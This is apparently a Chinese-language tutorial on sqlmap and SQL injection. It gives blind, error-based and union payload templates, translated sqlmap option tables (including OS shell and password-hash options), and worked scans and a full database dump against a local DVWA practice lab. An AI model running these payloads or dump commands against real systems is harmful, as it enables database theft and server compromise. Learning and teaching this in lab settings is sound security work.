简介

  • sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。
  • 具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
  • 支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2,SQLite,Firebird,SybaseSAP MaxDB等数据库的各种安全漏洞检测。

注入模式

基于布尔的盲注

  • 没有显示位置,只显示页面返回是否正常。
  • 即可以根据返回页面,判断条件真假的注入。

常用函数

  • EXISTS (string subquery)运算符,判断查询子句subquery在数据库中是否有记录。
  • ASCII (string str) 函数,返回字符串str第一个字符的ascii码;若返回0,则为空字符串。
  • SUBSTR (string str, num start, num length)函数,划分出第start位开始,长度为length的子串。

步骤

  1. 寻找注入点,判断注入类型。
  2. 判断数据库。
#判断数据库个数
#n为猜测的数据库个数
... AND ((SELECT COUNT(DISTINCT+table_schema)FROM information_schema.tables)>n);

#当前数据库名称
#c为猜测的ASCII码值,y为名称字符串偏移量
... AND (SELECT ascii(substr((SELECT database()),y,1))>c);

#所有数据库名称
#x为数据库偏移量,c为猜测的ASCII码值,y为库名偏移量
... AND (SELECT ASCII(SUBSTR((SELECT DISTINCT table_schema FROM information_schema.tables LIMIT x,1),y,1))>c);

DISTINCT ()语句,在大量返回语句中去重。

table_schema指代数据库名称,information_schema.tables包含了所有有关数据库的信息。

  1. 判断数据表。
#判断指定库中表的个数
#n为猜测的数据表个数,base_h为指定库的hex编码
... AND ((SELECT COUNT(DISTINCT+table_name)FROM information_schema.tables WHERE table_schema= base_h)>n);

#判断表名长度
#x为数据表偏移量,l为猜测表名长度,base_h为指定库的hex编码
... AND (LENGTH((SELECT DISTINCT table_name FROM information_schema.tables WHERE table_schema=base_h LIMIT x,1))>l);

#判断表名字符
#x为数据表偏移量,y为名称字符串偏移量,c为猜测的ASCII码值,base_h为指定库的hex编码
... AND (SELECT ASCII(SUBSTR((SELECT DISTINCT table_name FROM information_schema.tables WHERE table_schema=base_h LIMIT x,1),y,1))>c);
  1. 判断列。
#判断指定表中列的个数
#n为猜测的列的个数,base_h为指定库的hex编码,table_h为指定表的hex编码
... AND ((SELECT COUNT(DISTINCT+column_name)FROM information_schema.columns WHERE table_name=table_h AND table_schema= base_h)>n);

#判断列名长度
#x为列偏移量,l为猜测列名长度,base_h为指定库的hex编码,table_h为指定表的hex编码
... AND (LENGTH((SELECT DISTINCT column_name FROM information_schema.columns WHERE table_name=table_h AND table_schema=base_h LIMIT x,1))>l);

#判断列名字符
#x为列偏移量,y为名称字符串偏移量,c为猜测的ASCII码值,base_h为指定库的hex编码,table_h为指定表的hex编码
... AND (SELECT ASCII(SUBSTR((SELECT DISTINCT table_name FROM information_schema.tables WHERE table_name=table_h AND table_schema=base_h LIMIT x,1),y,1))>c);
  1. 判断数据。
#判断数据表中数据个数
#n为猜测的数据个数,base_n为数据库名,table_n为数据表名
... AND ((SELECT COUNT(*) FROM base_n.table_n)>n);

#判断字段长度
#x为字段偏移量,l为猜测字段长度,base_n为数据库名,table_n为数据表名,column_n为列名
... AND (LENGTH((SELECT column_n FROM base_n.table_n LIMIT x,1))>l);

#判断字段字符
#x为字段偏移量,y为名称字符串偏移量,c为猜测的ASCII码值,base_n为数据库名,table_n为数据表名,column_n为列名
... AND (SELECT ASCII(SUBSTR((SELECT column_n FROM base_n.table_n LIMIT x,1),y,1))>c);

适用场景

  • 没有数据输出点,仍有响应返回。
  • 返回的响应可以判断是否注入成功,但不显示sql查询情况。

基于时间的盲注

  • 是一种盲注的手法,提交对执行时间敏感的sql语句函数,通过执行时间的长短来判断是否执行成功。
  • 即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
  • 通常来说,时间变长说明执行成功,时间很短说明注入失败。

常用函数

  • SLEEP ( int n )执行后,延迟n秒。
  • IF ( CONDITION, TRUE, FALSE) 如果条件语句CONDITION为真,执行TRUE语句;反之,执行FALSE语句。

步骤

  1. 寻找注入点,判断注入类型。
  2. 判断数据库。
#判断数据库个数
#n为猜测的数据库个数
... AND IF((SELECT COUNT(DISTINCT+table_schema)FROM information_schema.tables)>n,SLEEP(5),1);

#当前数据库名称
#c为猜测的ASCII码值,y为名称字符串偏移量
... AND IF((SELECT ASCII(substr((SELECT database()),y,1))>c),SLEEP(5),1);

#所有数据库名称
#x为数据库偏移量,c为猜测的ASCII码值,y为库名偏移量
... AND IF((SELECT ASCII(SUBSTR((SELECT DISTINCT table_schema FROM information_schema.tables LIMIT x,1),y,1))>c),SLEEP(5),1);
  1. 判断数据表。
#判断指定库中表的个数
#n为猜测的数据表个数,base_h为指定库的hex编码
... AND IF(((SELECT COUNT(DISTINCT+table_name)FROM information_schema.tables WHERE table_schema= base_h)>n),SLEEP(5),1);

#判断表名长度
#x为数据表偏移量,l为猜测表名长度,base_h为指定库的hex编码
... AND IF((LENGTH((SELECT DISTINCT table_name FROM information_schema.tables WHERE table_schema=base_h LIMIT x,1))>l),SLEEP(5),1);

#判断表名字符
#x为数据表偏移量,y为名称字符串偏移量,c为猜测的ASCII码值,base_h为指定库的hex编码
... AND IF((SELECT ASCII(SUBSTR((SELECT DISTINCT table_name FROM information_schema.tables WHERE table_schema=base_h LIMIT x,1),y,1))>c),SLEEP(5),1);
  1. 判断列。
#判断指定表中列的个数
#n为猜测的列的个数,base_h为指定库的hex编码,table_h为指定表的hex编码
... AND IF(((SELECT COUNT(DISTINCT+column_name)FROM information_schema.columns WHERE table_name=table_h AND table_schema= base_h)>n),SLEEP(5),1);

#判断列名长度
#x为列偏移量,l为猜测列名长度,base_h为指定库的hex编码,table_h为指定表的hex编码
... AND IF((LENGTH((SELECT DISTINCT column_name FROM information_schema.columns WHERE table_name=table_h AND table_schema=base_h LIMIT x,1))>l),SLEEP(5),1);

#判断列名字符
#x为列偏移量,y为名称字符串偏移量,c为猜测的ASCII码值,base_h为指定库的hex编码,table_h为指定表的hex编码
... AND IF((SELECT ASCII(SUBSTR((SELECT DISTINCT table_name FROM information_schema.tables WHERE table_name=table_h AND table_schema=base_h LIMIT x,1),y,1))>c),SLEEP(5),1);
  1. 判断数据。
#判断数据表中数据个数
#n为猜测的数据个数,base_n为数据库名,table_n为数据表名
... AND IF(((SELECT COUNT(*) FROM base_n.table_n)>n),SLEEP(5),1);

#判断字段长度
#x为字段偏移量,l为猜测字段长度,base_n为数据库名,table_n为数据表名,column_n为列名
... AND IF((LENGTH((SELECT column_n FROM base_n.table_n LIMIT x,1))>l),SLEEP(5),1);

#判断字段字符
#x为字段偏移量,y为名称字符串偏移量,c为猜测的ASCII码值,base_n为数据库名,table_n为数据表名,column_n为列名
... AND IF((SELECT ASCII(SUBSTR((SELECT column_n FROM base_n.table_n LIMIT x,1),y,1))>c),SLEEP(5),1);

适用场景

  • 没有数据输出点。
  • 可以明显观察到页面返回时间。

基于报错注入

  • 人为制造数据库报错,通过返回的错误信息,得到数据库相关信息。
  • 即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;

常用函数

  • CONCAT ( string str1, string str2, … ) 将若干个字符串拼接。
  • RAND (int seed)当种子为空时,返回一个01的随机小数。
  • FLOOR (int number)返回小于或者等于数字num的最大整数值(向下取整)。
  • GROUP BY int key1, key2, …将查询结果按照关键词key依次分组(去重)。
  • UpdateXML (string XML_target, string Xpath_expr, string new_XML) XML_targetXML文档对象的名称,Xpath_exprXpath格式的表达式,new_XML用来替换匹配到的数据。即在XML_target中匹配符合Xpath_expr的数据,替换为new_XML
  • ExtractValue (string XML_frag, string Xpath_expr)第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径。

报错方法

FLOOR+RAND+GROUP BY
  • FLOOR()RAND()联合产生01序列组,GROUP BY在分组时会建立一个虚拟表,将数据依次加载到虚拟表中(首次出现则创建,否则累加)。
  • 当虚拟表中还未加入NUM 1,假设某条数据为1,其下一条为0GROUP BY查询1不在虚拟表中,于是创建一个分组;此时FLOOR()RAND()再次执行,NUM变为0,加入到表中与第一个0分组冲突,从而报错。
Payload
#NUM为01序列的名称
#RAND的种子可以自定义,可以选择一个固定报错的种子
SELECT COUNT(*),FLOOR(RAND(0)*2)NUM FROM information_schema.tables GROUP BY NUM;
UPDATEXML
  • 构造Xpath时,使用不合法的格式,从而报错。
Payload
#第一个和第三个参数任意
#~是不符合Xpath语法的,这里会报错
#DATABASE()可以换成你需要的参数,报错时会输出
SELECT UPDATEXML(1,CONCAT('~',DATABASE()),1);
EXTRACTVALUE
  • 类似UPDATEXML,同样对Xpath进行修改,导致报错。
Payload
#与UPDATEXML不同,这里只有两个参数,第一个参数任意
SELECT EXTRACTVALUE(1,CONCAT('~',DATABASE()));

适用场景

  • 没有数据回显点,页面返回报错信息。

联合查询注入

  • 即可以使用UNION的情况下的注入。

适用场景

  • 需要多条查询返回结果。
  • UNION不被禁止。

堆查询注入

  • 可以同时执行多条语句的执行时的注入。
  • 和联合查询注入不同的是,堆查询注入的操作任意,不局限于查询,可以增删查改。

适用场景

  • 局限性非常大,连DVWA靶场都不行。

功能

Options参数

参数

功能

-h

查看基本参数信息

-hh

查看所有参数信息

–version

查看版本号

-v VERBOSE

指定输出等级

输出等级一共有7个级别

0:只显示Pythontracebacks信息、错误信息[ERROR]和关键信息[CRITICAL]

1:同时显示普通信息[INFO]和警告信息[WARNING]

2:同时显示调试信息[DEBUG]

3:同时显示注入使用的攻击荷载

4:同时显示HTTP请求

5:同时显示HTTP响应头

6:同时显示HTTP响应体

Target参数

  • 必须至少提供其中一个选项来定义目标。

参数

功能

-u URL

指定存在查询的URL

-g GOOGLEDORK

指定使用谷歌查询技巧得到的URL

-d DIRECT

直接连接数据库

-l LOGFILE

BurpWebScarab的日志文件解析目标

-r REQUESTFILE

从文件中载入HTTP请求

-c CONFIGFILE

INI配置文件中加载选项

Request参数

  • 这些选项可用于指定如何连接到目标URL

参数

功能

-A AGENT

载入HTTPUser-Agent

-H HEADER

载入HTTP的其余信息(例如:XFF)

–data=DATA

通过POST发送数据

–cookie=COOKIE

载入HTTPCOOKIE

–method=METHOD

强行使用给定的HTTP方法

–cookie-del=COOKIE-DEL

设置用于划分COOKIE的字符

–drop-set-cookie

忽略响应的Set – Cookie头信息

–random-agent

使用随机选定的User – Agent

–referer=REFERER

设置REFERER

–proxy=PROXY

使用HTTP代理

–ignore-proxy

忽略系统默认的HTTP代理

–delay=DELAY

在每个HTTP请求之间的延迟时间

–timeout=TIMEOUT

连接超时的时间

–retries=RETRIES

连接超时后重新连接的时间

Optimization参数

  • 这些选项可用于优化sqlmap的性能。

参数

功能

-o

开启所有优化

-–predict-output

预测常见的查询输出

-–keep-alive

使用持久的HTTP(s)连接

–null-connection

从没有实际的HTTP响应体中检索页面长度

–threads=THREADS

最大的HTTP(s)请求并发量

Injection参数

  • 这些选项可用于指定要测试的参数、提供自定义注入Payload和可选篡改脚本。

参数

功能

-p TESTPARAMETER

可测试的参数

–dbms=DBMS

强制后端的DBMS为此值

–os=OS

强制后端的DBMS操作系统为此值

–prefix=PREFIX

注入payload字符串前缀

–suffix=SUFFIX

注入payload字符串后缀

–tamper=TAMPER

使用给定的脚本篡改注入数据

Detection参数

  • 这些选项可用于自定义检测阶段。

参数

功能

–level=LEVEL

执行测试的等级

–risk=RISK

执行测试的风险

–string=STRING

查询有效时在页面匹配字符串

–regexp=REGEXP

查询有效时在页面匹配正则表达式

–text-only

仅基于文本内容比较页面

–smart

仅当探索为真时才执行彻底的测试

Techniques参数

  • 这些选项可用于调整特定SQL注入技术的测试。

参数

功能

–technique=TECH

SQL注入技术测试

–time-sec=TIMESEC

DBMS响应的延迟时间

–union-cols=UCOLS

定列范围用于测试UNION查询注入

–union-char=UCHAR

用于暴力猜解列数的字符

Fingerprint参数

参数

功能

-f

执行检查广泛的DBMS版本指纹

Enumeration参数

  • 这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。

参数

功能

-b

检索数据库管理系统的标识

–current-user

检索数据库管理系统当前用户

–current-db

检索数据库管理系统当前数据库

–is-dba

检测DBMS当前用户是否DBA

–users

枚举数据库管理系统用户

–passwords

枚举数据库管理系统用户密码哈希

–privileges

枚举数据库管理系统用户的权限

–roles

枚举数据库管理系统用户的角色

–dbs

枚举数据库管理系统数据库

-D DBname

要进行枚举的指定数据库名

-T TBLname

要进行枚举的指定数据库表

-C COL

要进行枚举的数据库列

-U USER

用来进行枚举的数据库用户

–tables

枚举DBMS数据库中的表

–columns

枚举DBMS数据库表列

–dump

转储数据库管理系统的数据库中的表项

–dump-all

转储所有的DBMS数据库表中的条目

–search

搜索列,表和/或数据库名称

–exclude-sysdbs

枚举表时排除系统数据库

–start=LIMITSTART

第一个查询的位置

–stop=LIMITSTOP

最后查询的位置

–first=FIRSTCHAR

第一个查询输出字的字符检索

–last=LASTCHAR

最后查询的输出字字符检索

–sql-query=QUERY

要执行的SQL语句

–sql-shell

提示交互式SQLshell

Brute force参数

  • 这些选项可以被用来运行暴力破解。

参数

功能

–common-tables

检查共同表的存在性

–common-columns

检查共同列的存在性

–common-files

检查共同文件的存在性

Operating System Access参数

  • 这些选项可以用于访问后端数据库管理系统的底层操作系统。

参数

功能

–os-cmd=OSCMD

执行操作系统命令

–os-shell

交互式的操作系统的shell

–os-pwn

获取一个OOB shellmeterpreterVNC

–os-smbrelay

一键获取一个OOB shellmeterpreterVNC

–os-bof

存储过程缓冲区溢出利用

–priv-esc

数据库进程用户权限提升

–tmp-path=TMPPATH

远程临时文件目录的绝对路径

General参数

  • 这些选项可以用来设置一些一般的工作参数。

参数

功能

–t TRAFFICFILE

记录所有HTTP流量到一个文本文件中

–s SESSIONFILE

保存和恢复检索会话文件的所有数据

–flush-session

刷新当前目标的会话文件

–fresh-queries

忽略在会话文件中存储的查询结果

–eta

显示每个输出的预计到达时间

–update

更新SQLMAP

–save=SAVECONFIG

保存选项到INI配置文件

–batch

从不询问用户输入,使用所有默认配置

实例

GET参数

  • 这里使用Windows本地靶场DVWASQL Injection,在Kali虚拟机进行扫描。

原始Payload

  • 直接扫描URL
sqlmap -u "http://{Windows-IP}/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#"
  • 由于DVWA需要登录,Kali是没有Windows登录账号的COOKIE的,故上方Payload扫描不出任何漏洞。
  • 所以在Windows抓包后,将COOKIE加入Payload
sqlmap -u "http://{Windows-IP}/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="{COOKIE}"

#输出
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
	#布尔盲注
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: id=1' OR NOT 4938=4938#&Submit=Submit

    #报错注入
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1' AND GTID_SUBSET(CONCAT(0x71626b7671,(SELECT (ELT(2858=2858,1))),0x71627a7071),2858)-- qDrZ&Submit=Submit

    #时间盲注
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 9237 FROM (SELECT(SLEEP(5)))RCwq)-- pggr&Submit=Submit

    #联合注入
    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x71626b7671,0x6b786657706745717a444d55656a69786e70704f4143586874496741624c4444454350617159755a,0x71627a7071)#&Submit=Submit
---

指定参数

  • 发现此处有两个参数,真正可能存在注入漏洞的只有一个,故可以使用-p指定参数进行扫描。
sqlmap -u "http://{Windows-IP}/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="{COOKIE}" -p "id"

POST参数

  • 因为使用的是POST提交,故给出的URL不必包含注入点。

原始Payload

  • --data中将POST参数加入,默认以&连接。
sqlmap -u "http://{Windows-IP}/dvwa-master/vulnerabilities/sqli/" --data="id=1&Submit=Submit"

参数分割

  • 参数默认以&分割,但仍可以自定义。
#设置';'为POST参数分隔符
sqlmap -u "http://{Windows-IP}/dvwa-master/vulnerabilities/sqli/" --data="id=1;Submit=Submit" --param-del=";"

文件载入

  • SQLMAP的载入文件主要使用两种方式:
  • request请求文件
  • log记录文件

request文件

  • Burp Suite抓包的报文保存为一个txt文件,下列为我自己抓的包。
POST /dvwa-master/vulnerabilities/sqli/ HTTP/1.1
Host: 192.168.0.102
Content-Length: 18
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.102
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.102/dvwa-master/vulnerabilities/sqli/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: security=medium; PHPSESSID=k7f5971ml3cpb85u4vrvt6d9d9
Connection: close

id=1&Submit=Submit
  • 将报文保存为request.txt后,得到Payload
sqlmap -r request.txt

log文件

  • Burp Suite>>Project Options>>Misc>>Logging中的Proxy栏勾选Request即可生成log文件。
sqlmap -l log.txt

拖库

  • SQL注入成功后,从数据库中导出数据 。

步骤

  • 查看所有数据库。
sqlmap -u "http://{Windows-IP}/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs
  • 选定需要拖的数据库,并显示该数据库中的数据表。
sqlmap -u "http://{Windows-IP}/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -D "{DATABASE-NAME}" --tables
  • 选定需要拖的数据表,并显示该数据库中的列。
sqlmap -u "http://{Windows-IP}/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -D "{DATABASE-NAME}" -T "{TABLE_NAME}" --columns
  • 选定需要拖的列,并开始拖库。
sqlmap -u "http://{Windows-IP}/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -D "{DATABASE-NAME}" -T "{TABLE-NAME}" -C "{COLUMN-NAME}" --dump

SQLMAP很贴心的给了哈希密码的破解,可用于获得明文密码。